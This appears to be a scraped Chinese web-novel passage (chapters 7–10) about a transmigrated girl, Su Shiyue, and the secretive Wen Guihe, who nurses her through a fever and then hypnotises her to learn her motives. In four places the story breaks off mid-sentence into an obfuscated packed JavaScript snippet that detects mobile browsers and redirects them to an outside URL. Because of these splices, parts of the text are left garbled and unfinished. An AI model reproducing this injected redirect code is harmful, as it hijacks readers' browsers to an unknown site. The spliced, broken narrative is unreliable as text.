十六具尸体,处理得飞快,连血迹也没留下。 而后转身就走。 苏时悦在他身后追:“接下来一起吃饭可好?我准备了食材,来都来了,吃一顿再走嘛。” 她特地选了煮火锅,切菜、做饭、煮汤,都是三人合作,交流感情的好时机,怎么能轻易丢掉。 苏时悦跑到闻归鹤跟前,拦住他的去路。 月色之下,她亮晶晶的眸子仿佛镀了层银,澄澈干净。 于是闻归鹤转了回来,迈开长腿,又一次走入车厢,越过蓄势待发的容枝桃。他似是没听懂苏时悦话语的意思,拎起案板的一鱼一鸡。 临别前,他终于停下脚步,主动开口:“处理好,我再来找苏姑娘。” 旋即径直离开,往林中去。脚下生风跑得飞快,像有巨石在追着他似的。 徒留苏时悦被他甩在身后,眨了眨眼,又眨了眨眼,点着他的背影对容枝桃道: “你看他,不是坏人吧?” 说完,拎起裙摆便追上去,在小树林里找人。 容枝桃脸红得像要烧起来,虽然对闻归鹤依旧有些抵触,终是没有阻拦苏时悦。 乌云遮月,阻碍在树林穿梭之人的视线。他不知用了什么术法隔绝气息,苏时悦闻不到鱼腥味,在风中瑟瑟发抖许久才寻到他。 挺拔古柳下,少年席地而坐,手中是鱼,身畔是鸡。 符纸燃起一片温暖柔光,火符与水符交替飞出,热水裹挟鸡身,操纵风力去除羽毛。 闻归鹤低着头,握着刀,泄愤般地刨着鱼麟。刀刃宛若游龙,轻盈地逆着鳞片游走。而他的手腕却微微颤抖,仿佛持刀握剑与他而言是极难忍受的酷刑。 苏时悦走到他身旁,撩起裙摆蹲下:“为什么一个人在这儿?” 闻归鹤回头看她。 浮光沿着他的轮廓描出一圈金,转眸一瞬间,清润瞳孔中有凌厉寒芒迸出,又被他迅速收敛。 他一菜刀剁掉鱼脑袋,手松开把柄:“苏姑娘何事?” “我是来请公子回去的。”苏时悦道。 “公子可能误会了我的意思,我不是想指使您做事,只是觉得这样能尽快熟络。容姑娘是容家的家主,在越州城的地位举足轻重。如果能顺利和她交好,对公子未来的行事也有利。” 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353041|167968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见闻归鹤手背微微颤抖,伸手拽住鱼尾,主动从闻归鹤手中抢过食材。 又想拿刀:“公子若执意不想与我同席,那我也不便麻烦公子,还给我吧。” 闻归鹤抬手拦住她。 黑鱼被灵力包裹,腥气未泄露分毫,更没有染到闻归鹤身上。闻归鹤抬手时,袍袖掀起清冽的细风。苏时悦甚至觉得,要是他一掌拍掉自己的手,她最先闻到的都会是少年指尖兰草香。 闻归鹤寒声道:“若是换了别人,见到先前那般光景,且不说落荒而逃,也不敢与凶手如此亲近。” 苏时悦:“你又不是别人,要不是你,我与容枝桃早就死了。如今多出几日活头,如何能与恩公翻脸?” 闻归鹤不做声。 “……鹤公子,怎么了?”苏时悦半点儿也不慌,反而手搭膝上坐下,侧过头,“难不成,你希望我讨厌你吗?” “不会吧?我应该没有那么难缠,需要鹤公子想尽办法赶走吧?”她扶着额头轻笑。 穿梭林间的风仿佛瞬间停驻,化作站在树梢的飞鸟,久久未在展翅。闻归鹤陷入缄默,并未回头与苏时悦对视:“不曾。” “没有。”他的手不知不觉间重新握上把柄。 刀具不重,堪称轻盈。但长时间握着,手腕仍隐隐作痛,令他旧伤发作,疼意深入骨髓。闻归鹤攥紧刀柄,默默熬着。 “苏姑娘,若是有目的,直说便可。”良久,他再度开口,“坦然相对,于你我二人都好。” 话音落下,闻归鹤不再说话,等待苏时悦的回复。 忽然,后背一重。 月光如水,秋叶落索。呼吸间,少女毫无征兆地靠到他身上。 少年身体骤然绷紧,僵在原地。五指握紧刀柄,指尖用力到发白,长眉微蹙,视线仍保持平视,一副淡然的模样。 闻归鹤:“姑娘此举,何意?” 他一动不动,等着她下一步动作。不知过了多久,直到他悬空的手腕因疼痛颤抖,不得不放下。用符纸变出露水净手,依然不见回应。 “苏姑娘?”少年终于转头,伴随他回身动作,身后之人晃了晃,一头往下栽。 闻归鹤怕她撞疼脑袋,连忙长臂一伸捞住她。苏时悦绵软的身子顺势倒入他怀中,烫得像颗坠地火球。 闻归鹤惊得眉头一跳,才发现她的情况有些不对劲。 少女脸色苍白,桃面酢红,已经失去意识。她眉头紧锁,额前滚出细汗,仿佛被抽去所有力气,蜷缩在黑袍长衣中。 闻归鹤愣了愣,五指附上少女前额,又去搭她的腕脉。 良久,面上拂过丝惊诧。 她的体温烫得吓人,显然是在精神长期紧绷,情绪大起大落后起了高热。生病与受伤不同,承伤咒亦未起效,难怪他感知不到异样。 闻归鹤无奈垂眸,叹息一声:“这就是你说的,聚餐?” 诸事尘埃落定,还要摆出一副一副运筹帷幄,算无遗策的模样,来二次拉拢他,结果还没得到答复,人先烧了起来。 ……和她对峙过久,他差点忘了。 纵使外表坚强无畏,装得如九天玄女般无所不能。 终究还是个, 一场惊吓就能压垮的肉体凡胎。 8. 第 8 章 苏时悦没想到自己会生病。 放松下来后,她的身体确实有些烫,也感到头晕目眩,却只当是精神紧绷后的正常反应。 直到眩晕愈发严重,失去力气,往前跌倒,苏时悦才意识到,自己似乎发起高热。 意识尚存之际,苏时悦没有感到疼痛。她没磕到尖角,未抵住重物,被人揽紧怀里,手捧住她的脸,为她降温。 ……是不是,给那两位添麻烦了? 跌入梦境前的最后时刻,苏时悦迷迷糊糊地想。 梦魇光怪陆离,恍如蜘蛛之丝,无声无息谱出她的过往。 那是苏时悦黑金珠串的来历,也是第一次遇上《虞昭令》这本书,第一次知道闻归鹤时的契机。 她从小就能看见不该看的东西,为此没少被污秽上身。直到有一位高人将黑金珠串赠予她,她才如愿像个普通女孩一样幸福快乐地长大。 送出黑金珠串后,那位高人并未离开,而是在苏时悦家附近的山头定居下来。 他自称得道仙家,四海为家,以天地灵气为食。但大多数时间,他都在山洞呼呼大睡,不肯见人,清醒时,允许苏时悦来找他玩。 孩童时期的苏时悦完美贯彻初生牛犊不怕虎的箴言,妄图上天入地,缠着高人教她术法。 高人约莫是被她扰烦了,还真递给她几本书。 “这可是本玄妙天书,只要读懂它,你就天不怕地不怕了。” 苏时悦兴奋接过,抱回家潜心研读,全然没注意到“天书”过于精致的包装与其现代化的书封。 回家后,她发现那不是什么功法,而是一本小说。可到底是小孩子,等她一口气读完第一卷,苏时悦已经完全沉浸在千年前妖邪与修士组成的奇幻世界,把修炼之事通通抛到脑后。 虽然不知那位高人与穿越是否有关,但多亏那本书,她来到这个世界,才不至于手足无措,才能遇上闻归鹤。 只是,他到底为何不教她术法…… 她自小能见鬼,天赋当不差才对。 若教她一招半式,她也不必像现在这般,弱不禁风,一吹就倒。 不知不觉,长梦消解,苏时悦逐渐从昏迷中挣扎回意识。 睁开眼,只见烛光摇曳,遍地金红。 她回到华厢中,身上盖着崭新棉被,墙壁四面绘下保温符阵,烘得房间暖意融融。 容枝桃守在床边,眼神中满是担忧,见她苏醒,松了口气:“吓死我了,怎么去的时候还好好的,回来脸就烫成这样。” 说着伸手,用帕巾给她降温。 苏时悦不好意思地抿嘴,低头道歉。 容枝桃从袖中取出一颗丹药,递到她眼前,柔声道:“此乃容府的解毒丹,可治百病。我的人新送来的,服下吧,就当我回报救命之恩的谢礼。” 苏时悦忙不迭摇头拒绝,连声道:“别别别,我不能收。” 即使是修士,大部分时间用的也是寻常药材。灵丹由天材地宝凝练而出,治疗的都是奇毒及疑难杂症。谁会因为一次发烧,就去住重症监护室啊。 “别推辞了。”容枝桃被她逗笑,“就当是我做朋友的一点心意,也该收下。” 苏时悦坚决不肯收。 她在床上一滚,扭成条打卷的毛毛虫,拉着容枝桃的手,态度无比真诚:“这东西太过贵重,就算是救命之恩,我也只是从旁协助,实在受不起。” 她脸蛋红扑扑,模样可怜兮兮。容枝桃心一软,轻轻叹了口气:“好吧,你要是需要,可以随时寻我。” “话说,我记得我是去找人的。是桃桃带我回来的吗?多谢。”苏时悦见她松口,弯起眸子,甜甜笑着。 容枝桃摇头:“不是。” “是你的鹤公子。”她双手交叠,努嘴嘟哝。 在床上蠕动的少女,忽然停下动作,讶异地抬头,全然不掩饰眼底惊愕。 “他不仅没伤害你,还嘱托我照顾,这可不是虚情假意之人做得出来的。”容枝桃嘀咕,“我似乎的确对他有些偏见?” 苏时悦缩在榻上,听了她的话,忍不住弯起眼眉语目笑:“我也觉得。” 容枝桃睨了她一眼。 苏时悦打了个哈欠,声音渐低:“不过,他似乎确实有些别扭。” 不喜被靠近,爱拿鱼姐鸡兄撒气。但并不惹人厌烦,相反,苏时悦还觉得有些可爱。 烧还没有退,没聊几句,苏时悦又一次昏昏沉沉地睡去。 不知过了多久,面庞传来冰凉的舒适感,有人靠近。 “桃桃……别、别动我。”她迷迷糊糊地嘀咕,声音带有浓浓倦意,“让我再睡会儿……” “是我。”兰草香中,少年的声音响起。 苏时悦当场睁眼,困意飞到九霄云外:“鹤公子。” 她第一时间道谢:“真是不好意思,麻烦公子了。” 闻归鹤来到床边,将托盘摆在床头茶几上。他搬了张凳子坐下,用勺子搅动汤药。 “听容枝桃说,你不肯吃灵丹,我准备了常用退热驱寒之药。姑娘症状不重,喝完药睡一觉就没事了。” 苦味钻入鼻腔,苏时悦不断往后挪,脸上表情褶成苦瓜。 “我不吃药,捂一捂就好了。” 氤氲烛光下,少女耷拉着脑袋,嘴角下撇,纤细手指攥住被角,一副垂死挣扎的模样。 强装出的坚硬外壳消散无踪,脆弱与无助浮现,却仍显得机敏又神气。 “不成。” 闻归鹤长眉一压,喉结上下滚动,“若是烧坏身子,或是在病愈前遇敌,躲避不急,该如何是好?” 木勺盛了汤药,凑近苏时悦唇瓣:“喝药。” 少女本就浑身发热,如今一激灵,俏脸红了大半。她手足无措,差点儿从床上跳起来。 这是做什么? 他的态度好奇怪,难道自己还在做梦? 苏时悦下意识想拧胳膊,被闻归鹤制止。 她垂死挣扎:“我自己来……” “张嘴。” “哦。” 苏时悦低下头,视线下移,落在一双玉白色的,微微颤抖的手上。 从她最初察觉异样到如今,不知昏睡多久,他的手腕还在发抖。纵使极力稳住,仍暴露细微颤动,在液面荡出圈圈波纹。 是不是很疼? 苏时悦不再犹豫,含住汤勺。药汁入口,她浑身猛地一颤,闭眼,想强行咽下。 木勺已抽出,修长的指节抵住面颊,声音响起的同时,几案上的茶碗已被递上。 “吐掉。”他急声道。 吐掉多丢人啊,还得洗杯子。苏时悦咬紧牙关,还在努力与汤药作斗争。直到又被催促一次,才羞赧地张嘴,把脸埋进少年手心。 “很烫,是不是?”闻归鹤的声音略显自责。 苏时悦连连摇头:“没有,我没那么娇气,忍忍就好了。你看,舌头没被烫肿,说明温度刚好。” 他没有反驳,动作又小心几分。 初期尚有些生涩,无微不至,近乎温柔。 苏时悦反而不自在起来。 她不习惯被人细致入微地照顾,更别说还是想要利用的对象,一时间心情复杂。 一口口喝着药,汤碗很快见了底。 喂完药,闻归鹤将碗轻轻搁下。瓷碗撞击桌面,发出清脆的碰撞声。 “为何不吃容姑娘的药?”他的态度说不出的古怪,像是在刻意诱导。 苏时悦喝完药,心思逐渐放松,面对闻归鹤也少了拘束。 困劲上头,她扭捏躺回去,把脸埋进软枕中,嘟嘟哝哝:“没必要。” 她又不配。 消极的小心思,不方便与闻归鹤透露,苏时悦蹭了蹭柔软枕角,鼓起勇气,大逆不道偷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“鹤公子?”苏时悦遽然一惊,下意识想往里挪,身子却像中邪般动弹不得。 很快,少女眼中光点消失。取而代之的,是被催眠后的茫然与麻木。 她仿佛失去意识,成为一具人偶,等待被问询。 闻归鹤了然一笑,嘴角漾起抹浅笑,眸中宛如春暖花开。 他望着苏时悦,慢慢俯下身去。 “告诉我。” 泛凉的吐息宛如蝴蝶翅膀,轻盈扑上。二人的距离无限拉进,冰冷与炽热缠绕,宛如亲密无间的恋人。 闻归鹤眼底深处,悬起面由繁星与苍穹图案交织而成。 法阵明亮,赤红如血,与眼尾朱砂交相辉映,衬得少年显露几分媚态。 声音响起,虚无缥缈:“苏姑娘三番五次接近闻某,要的,究竟是什么?” 他与她虚与委蛇,为她煎药,忍着承伤咒带来的舌尖刺痛照顾她,就是为了此刻。 苏时悦瞳孔中的光彩,一点点黯淡下去。她忘记抽回自己的手,就这么搭在他手心里。 在瞳术的影响下,她卸去所有的提防,就连最后的理智,也被纤细又柔软的话语吞没。 “我想要,鹤公子的保护。” 她眨眨眼,无比认真地回应。 闻归鹤愣了一下,眼底坚冰似有松动,很快又化作森然一片。 他眯起眼,眼中满是杀意:“详述。” 苏时悦朝他粲然一笑:“我会的。” 她握紧他的手,往怀里拽了拽,珍视地双手拢住。 暖意顺势将他包裹,透过指尖,沁入四肢百骸。闻归鹤一时忘了动作,回头,转眸,一错不错地凝视苏时悦。 烛光映照,少女的面庞嫩得像包了壳的鸡蛋。双目水润,鼻尖玲珑,亮如水晶,鸦青色睫羽蒲苇般轻轻颤动。 “我知道,我很没用。不及容姑娘有家世,也不及鹤公子强大,更不像天命之子,得天独厚。”催眠,加之生病,苏时悦完全浸在幻境之中,瘪起嘴,委屈得像马上要掉眼泪。 “所以,我努力想让自己帮上忙。” “我使出浑身解数,拼尽全力,想让他,看我一眼,多看我一眼。” 9. 第 9 章 明月沉入枯柳,天边泛红。 “吱嘎”一声。 闻归鹤脚步踉跄,推开温暖厢门,缓缓走出。 少年面色煞白,手捂左胸,朱唇渗出一点血,皮肤泛着冷寂的白皙。 他的瞳孔微微涣散,步伐虚浮。 天光熹微时,树林附近已被来来回回濯洗一番,再无杀戮迹象。车队左右空无一人,所有人在催眠符法加持下,睡得正酣。 丑时的空气中,飘荡醉人的金桂甜香。闻归鹤背靠车壁,喘息声在夜里格外清晰。他再也站不稳,顺着闭合的车门慢慢滑坐到地。 五指成拳,攥紧衣襟抵住胸口,双颊飞上病态薄红,衬得眼尾朱砂愈发鲜艳。 “跟着?” “只是跟着?” 无尽的寂寥,泻出几分呢喃。 脸埋进臂腕间,耳根还有丝鲜艳的痕迹。 准备信件,纠缠不放。拉着他的手,把他拽到近前,像有什么深思熟虑的目的,连他都跟着有些紧张。结果,说出口的却是一句空话。 他从喂药到细语轻聊,如此大费周章,不是为了那个模棱两可的结果。 “……怎么可能。” 天尽头划过道黑影,寻到车队,瞄准闻归鹤的位置,当空抛下一物。 闻归鹤伸手接住,是幅卷轴。 他好似溺水之人抓住浮木,迫切地打开。 少倾,他呼出一口浊气,脸色稍好些:“纪真阁,原来如此。” 所有的问题迎刃而解。 卷轴上的文字,是有关苏时悦的调查结果。 世上没有这个人,无论是近处的越州、云州、哪怕是全域,就算加上未收复的大荒州,都不曾有过这个人的踪迹。 卷轴上提到的纪真阁,是一个靠吸收他人精气,提升修为的组织。他们会接取各式各样的任务,经过详细调查,伪造身份接近任务对象。其中一个方向,便是利用情爱之事骗取真心。 为了任务而接近,如何算不上想要他的保护? 她是个聪明人。 真话说一半,同样能达到欺骗的目的。 秋夜凉风习习,撩动发丝。少年松姿鹤骨,安静又苍白,一袭黑衣成了唯一的颜色。 他长睫半垂,嘴角上扬,安静看完全文,笑着低下头。 一旦明白她所求为何,胸口便不再那么疼了。 想来,手串上的咒术,也是他们所下。 月落日升,一个崭新的大晴天来临。 万里长空澄澈如洗,金色的云朵像柠檬味的棉花糖,在浅粉色的天幕打滚。 苏时悦苏醒时,烧已经退了,只觉神清气爽。她惬意地打了个哈欠,目光落在刻漏上,脸色骤变:“糟糕!” 不就发了个烧,喝了药眯了一会儿,怎么就辰时了。 “完了,完了……”苏时悦恍恍惚惚地念叨,翻身下床,“子丑寅卯、辰,我怎么就睡了四个时辰!” 她心心念念,缓和关系的聚餐,终究成了镜花水月的泡影。 苏时悦锤了两下脑袋,匆匆穿衣、套鞋。 刚打开门,仿佛触发某种机关,“呼啦”一下,围上一大群人。 为首的是为苏时悦驾车的车夫,笑得一脸谄媚。 “姑娘晨安。”他们不失尊敬,却对她改了称呼。 苏时悦一愣,又听他们道:“容大小姐都与我们说了,姑娘势单力薄,为搭救友人,不惜以身犯险,诱人上钩,实在令人钦佩。” 苏时悦眼尖,一眼瞅到众人鼓鼓囊囊的腰包,看破不说破。 看起来,容枝桃已经做好进城的准备。将自己的身份公之于众的同时,不忘给苏时悦寻找合情合理的理由。 “那,和我一起的两个人去了哪儿?”苏时悦转头,正看见几人卸着货物,腾出一个空间,把尸体裹上草席搬上去,整整齐齐,安安静静罗列一排。 “那个啊……姑娘勿怪,我们到底也跟着李老爷几年,一起经历了不少事。”察觉到苏时悦的目光,那几人赔笑,“容大小姐允许我们自行处置,我们就斗胆,把李爷他们带回家乡安葬。” 语速飞快,生怕惹恼苏时悦。 “至于您的二位友人,容大小姐玉简传书,正在前头迎接自己的族人。另一位公子……瞧,就在那儿。” 苏时悦转头,循声看去。 少年站在银杏树下,阳光透过金色树叶,化作阴影落在他身上。他仿佛一直在看着她,却不声不响,把自己藏进黑暗中。 苏时悦告别商队众人,几步来到他面前。 “鹤公子!”她扬起笑容,“昨日真是多谢您照顾了。” 她清晰记得,容枝桃看过她之后,她中途还醒来过一次,就是闻归鹤喂她喝药,还与她说了不少话。 最后的话题,似乎是谈论修炼?他答应下来,为此,她睡着时嘴角还带着笑。 是梦吗? 如果不是梦,就算是为了哄她,也是花了心思。 走近后,苏时悦才看见,闻归鹤手捧书卷,其上布满密密麻麻的蝇头小楷。仔细看,隐约能看到“脱凡、灵韵”等名字,都是低阶修士的修行境界。 苏时悦看得清楚,面颊猛地蹿红。 不是梦,也不是哄她,是真上心了。 鹤公子真是个,好人啊…… “大道有三千,条条道不同。”少年温声开口,“我尚不知姑娘擅长何方道,故而还需观察一段时日,姑娘勿怪。” “公子随意就好。”苏时悦受宠若惊,一副捡了天大便宜的模样,“您的身体是最重要的,要是能忙里偷闲教我一会儿,我感激不尽。” “口空无凭,我若是教会姑娘,真的引姑娘入道……” 他的眸光,又一次落在苏时悦腕上。 “姑娘,拿什么感谢?” 他还是想要她的珠串。 要是几日前,苏时悦定会严词拒绝,可同样的话再一次落在耳中,苏时悦的心态已经变了。 纵使仍旧无比不舍,她现在最重要的事的锻炼与成长。要是真的能学有所成,割舍心爱之物亦不算遗憾。对方是闻归鹤,应是有特殊的原因向他索要手串。如果是他,应该能好好对待她的珍宝。 苏时悦:“待我跟公子学一段时间后……” 闻归鹤:“不必。” “哎?” 闻归鹤摇摇头:“我没有夺人所爱的喜好,不需要姑娘的珠串。” “要是能引姑娘入道,也算是功德一件,何须报偿?”他以手掩唇,低笑出声。 苏时悦怔了怔,旋即张大了嘴,星瞳闪闪发光:“当真。” 闻归鹤藏起讥讽的笑容:“自然当真。” 苏时悦正要回话,忽然,“咚咚咚”三声,打断二人的交谈。 突如其来的敲打声在后方响起。 如沉闷的雷鸣,由缓至急,仿佛从幽深的谷底呼啸而上,直冲向顶峰,而后“?”一声。 铜锣响,万籁俱寂。 “莲花印在此,如圣君亲临,凡人参拜。” 修士出现在长道,他们皆穿白衣,披麻戴孝。身后跟着数名或飞天、或走地的侍从。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353043|167968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侍从扛着一尊用花梨木作底,精雕细琢而成的方形神龛。 龛笼中,站着一尊塑像。 八部神莲花相,容氏一族的家徽。 神龛之下,一名三白眼男子骑着高头大马,立在队伍最前方。 苏时悦依稀记得,那是容枝桃的二叔,家主死后,绞尽脑汁与容枝桃争权的容家二当家容文赋。 容文赋振臂一呼:“既见圣君,缘何不跪?” 寻常百姓哪里见过这架势,他们游走四方,见神拜神,顿时毫不犹豫,“呼啦”一下跪倒一片。 “圣君在上,佑我容氏,佑我大虞。” 车队与容氏的交界处,容枝桃也几步走来,熟练地屈膝,叩首在地。 容文赋的视线缓缓看向依然站立的苏时悦与闻归鹤。 “桃儿都跪下了,你二人,为何不拜?”他扬起下巴,傲慢道,“难不成,是不敬陛下?” “跪下,磕三个响头,以示惩戒。” 容枝桃也扭头,面色焦急,用眼神催促苏时悦快向族徽行礼。 苏时悦没打算给容枝桃添堵,依言俯身,只是动作有些迟滞。 不能怪她,她活了十七年有余,还是第一次给人下跪。苏时悦尚未适应古代的规则,理智告诉她赶紧拜下去,符合逻辑,但身体却不由自主僵硬起来。 后退一步,弯下腿,磕到地上,然后再把腰弯下去,手前伸,额头往地上撞…… 不就是虞朝的皇帝而已,在她的世界里死了一千多年的冢中枯骨,有什么好跪的。 苏时悦不想跪,却不得不跪,在脑海中反反复复提醒自己必须做的动作。 可她只来得及挪脚向后,下沉的势头被拦住,腰竟折不下去。 “别跪。”轻柔却坚定的口吻,从身后传来。 有人托了一把她的后背,扶着她的腰,力道自下而上,撑起她。 苏时悦猝不及防,忙回头看。 袍袖飞扬,迎风猎猎作响。 闻归鹤迈开长腿,跨步走出,挡在少女面前。 身后传来欢喜的抽气声,却不吃惊。 果然,在那人眼中,他或许就是这副温柔体贴的模样。 她所有的任务计划,都是围绕着温润君子的人物形象制作。 承伤咒留着也无妨,他找到了更好的方式来对付她。以牙还牙,把她拖入地狱。 但在此之前。 她要讨好的人是他。 她的任务对象是他。 她连他都没有跪过,却要向这群欺软怕硬之流俯首。 简直,岂有此理。 闻归鹤的眸子半沉入阴影,须臾,抬眸,径直看向那尊八部神相。 “仙长可还记得共建紫极宗的闻氏?” 容文赋被他吸引注意:“你是何人?” 神龛悬在头顶,龛门之后,神像头戴金冠,脚踩莲花,眉眼慈悲而威严。 容氏族人、商队众人尽数跪拜,匍匐在地。 唯有少年声音清朗,不卑不亢。 “半月前,闻氏举族被灭。杀人者手段残忍,男女老少皆不放过。在下作为在外流落的旁支,是唯一的活口。闻氏与容氏交好,又曾共创宗门,在下担心杀人者波及容氏,特来通禀。” 他的脸上一无悲戚,二无恐惧。 条理通顺,口齿清晰。所言内容却恐怖无比,让人在高爽秋意中,遍体生寒。 “不过,闻氏也曾被圣君赐下族徽,纵使只余一人,拜容氏莲花相,依然于理不合,恐遭天罚。这位姑娘与我同路,亦不可轻易参拜。” 10. 第 10 章 奇怪…… 闻归鹤,在撒谎。 话语声响在耳边,苏时悦心间猛地一颤,一股寒意自脊背升腾而起。 她知道闻归鹤口中的闻氏,一个昙花一现的小家族。为在林立世家中求存,闻氏的家主曾挣扎求存,依附大家族容氏,共创紫极宗,效力于大虞帝,而后被卸磨杀驴。 圣君为了保守某个秘密亲自下令,命容家前任家主秘密屠尽闻府,全族无人生还。 这只在设定背景中一笔带过的部分,正文从未提及,苏时悦还以为此事过去许久。没想到,时间点与前任家主暴毙,容枝桃竞争家主之位那么近。 可设定清楚写着,那个名不见经传的小家族与闻归鹤只是恰好同姓,一文钱的关系也没有。 闻氏遗孤,另有其人。 他何故要在凶手面前自称苦主? 她忍不住扭过头,朝一步之遥的人看去。 少年黑衣如墨,身形如松。神色如常,双眸清澈,恍惚让人深信他所言皆出自肺腑,而非信口胡诌。 苏时悦怕自己情绪外露连累他,忙低下脑袋,在闻归鹤的庇护下,朝神相躬身行礼。而后,在一群跪拜之人中昂首静立。 书中关于越州城的事情,是作为背景一笔带过,只写到容枝桃夺权,而闻归鹤也在此时路过,除去几名祸世邪修,除此之外再无其他。 苏时悦不清楚闻归鹤的具体打算,只知道无论他怀着怎样的心思,她都理应替他保守这个秘密。 周围百姓不明状况,大气也不敢出。 容文赋也像是被闻归鹤口中的“天罚”吓住,脸部肌肉不断抽动。良久,强打精神嗤笑一声。 “闻氏,遗孤?”他盯着闻归鹤,眼神仿佛飞刀,要将少年扎出个洞来。 闻归鹤勾唇:“是,我曾听闻,容氏与闻氏曾结为盟友,于越州建立宗派,也与各个势力结下不少仇怨。” “我怕行凶之人与曾经的宗门有关,屠尽我等后,下个目标便是越州容氏,故来通禀。”他坦然递上信物,随众人查验。 容文赋眉头紧锁,脸上白花花的嫩肉紧紧绷着。他勉强张口,还想发难,却被一声自下而上的厉喝打断。 “二叔,他们是我的客人,怎能轻慢。” 容枝桃已行完三叩九拜的大礼,从地面起身。她套上一件象征热孝白色长袍,轻轻抬手合上神龛横栏门。 随从牵来马匹,少女握住缰绳,翻身上马来到容氏族人身前。 “圣君面前,众生平等。然而,以越州府制度,家主出殡前代为处理家务事,乃是长子职责。”她语气低沉,神情哀恸,关键处却没有半分让步,“二叔是长辈,我自会敬重。但其余方面,还请遵从州制。” 前来迎接的几人中,有一半是容枝桃的亲信。他们早已策马走出,整齐排列,闻言立刻拱手抱拳,齐声喊:“代家主。” 容文赋牙齿咬得“咯吱”作响,却因被抢夺先机,涨红着脸说不出话。 容枝桃彻底取得话语权,不紧不慢地分配人物:“有功者,酬谢。有罪者,惩罚。” 她看向苏时悦,眸光忽然有几分闪躲:“那两位,是我的客卿,以大礼迎之。” 很快,苏时悦耳畔传来车轮滚地的咕噜声。 虞朝修士虽有法器,可州郡大多是百姓,随意释放灵力容易掀起恐慌。因此,若无紧急要事,在人群密集之处行路,多数修士会选择骑乘代步,而非驾驭飞舟肆意穿梭。 容家下人牵来一架舒适宽敞的马车,请二位客卿入座。 “只有一辆啊……”苏时悦愣了愣,小心翼翼转头,“鹤公子,请?” 她本想问问闻归鹤要不要与她共乘,转念一想,这正是拉好感的好时机,果断先声夺势。 要是进展顺利,她不仅可以与闻归鹤长久同行,还能向他拜师学艺,自然要努力增加好感。 闻归鹤客客气气:“姑娘先请。” 苏时悦明白他的意思,当下粲然一笑。正欲蹬上踏板,身后一阵脚步声传来。 “苏姑娘,你与闻公子男女有别,不便共乘一车,与我同乘可好?”容枝桃叫停苏时悦的动作。 她快步小跑至苏时悦面前,引得闻归鹤也微微侧转面庞 。 苏时悦一愣,下意识答道:“不必,我与鹤公子一道儿便好。” 她半个身子进入马车。 手腕却蓦地被拽住。 容枝桃的动作太过突然,苏时悦险些一个踉跄站不稳,匆忙扶住车门框,惊讶地看着她。 闻归鹤的眸光淡淡扫了过来:“容姑娘想做什么?” “和、和你无关。”容枝桃经过一晚,虽对闻归鹤态度缓和,仍疑虑未消,回嘴的声音时大时小。 苏时悦本以为闻归鹤会想往常一样任她说道,却听见少年轻咳两声: “容姑娘倒是有趣,方颐指气使地点完江上,金口玉言为我等备车,就准备将自己出尔反尔的行径。还是说,您想推一个凡夫俗子做诱饵,吸引另一派动手?” “公子慎言!”容枝桃气白了脸,恨不得当场与他争辩。刚打算开口,被人从后背推着转了个圈。 “停下,停下,好多人看着呢。”苏时悦面对逐渐聚拢的人群,先推开容枝桃,又推搡闻归鹤。 她也顾不得男女大防,踮脚扶住他的手臂:“鹤公子先上车,我问问容姑娘寻我何事。” 闻归鹤微讶:“姑娘要随她去?” “我当然和公子一道儿。”苏时悦回答道,“我和容姑娘聊完后便来寻公子。” “那就好。”他笑了起来,隔着衣袖移开她的手:“我等你上来。” 苏时悦被他的笑容晃了眼,忙不迭点头,终于有机会把容枝桃拉到角落。 “什么事非要现在说?”她低声问。 容枝桃面含愧色:“我是来解释的。” “我……没想过他们会把圣君所赐的神相搬来,没能护住你,很抱歉。” 苏时悦这才明白,对面是道德底线过高,正因为情分没能给到位而内疚。 她本想直接说没关系,转念一想,按照容枝桃眼下的情况,轻轻放下恐怕会让她更加辗转难眠。 苏时悦想了想,往容枝桃身边凑了凑。 “圣君不是皇帝吗?为什么会有神格、天罚?”就算是古代,人们对圣君的态度也太敬重了些。 苏时悦的问题刚出口,容枝桃眉心一跳。 “嘘。”容枝桃拧眉,“这话可不能到处说,要是被别人听到,定会被处刑。” 苏时悦惊出一身冷汗。 容枝桃定了定神,满脸虔诚地与她解释:“本朝君王,是人皇,亦是世上唯一的神明,万物之父。天人合一,君权神格,庇佑此世。他是神权君授的象征,就连修士飞升,也需要经由他的许可。” “我等容氏所供奉的,便是圣君其中一神格化身,自然,也是我族的家徽。” 苏时悦目瞪口呆。 书里面没这茬啊。 原著大背景很简单,昏君无道,新帝结交修士、拉拢势力,取而代之,根本没有什么大虞父神。 圣君都掌管飞升了,主角还怎么推翻旧王朝? 这个世界也太自由了些。 苏时悦思绪乱糟糟一团。 容枝桃蚊子叫般地解释明白后,见她有些呆傻,也不打扰,低着头失落地离开。 手腕蓦地被扣住。 苏时悦暂时从震惊中回神,故作不耐地拉长了脸:“交出来吧。” “什么?”容枝桃反应慢了半拍。 “丹药啊。”柔风卷起粉嫩的袖角,与蜜饯般的天空交相辉映。 少女浅笑盈盈:“那个传说中能解毒能治病的药丸,快点当做赔罪的谢礼交出来。” 容枝桃愕然。 随后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 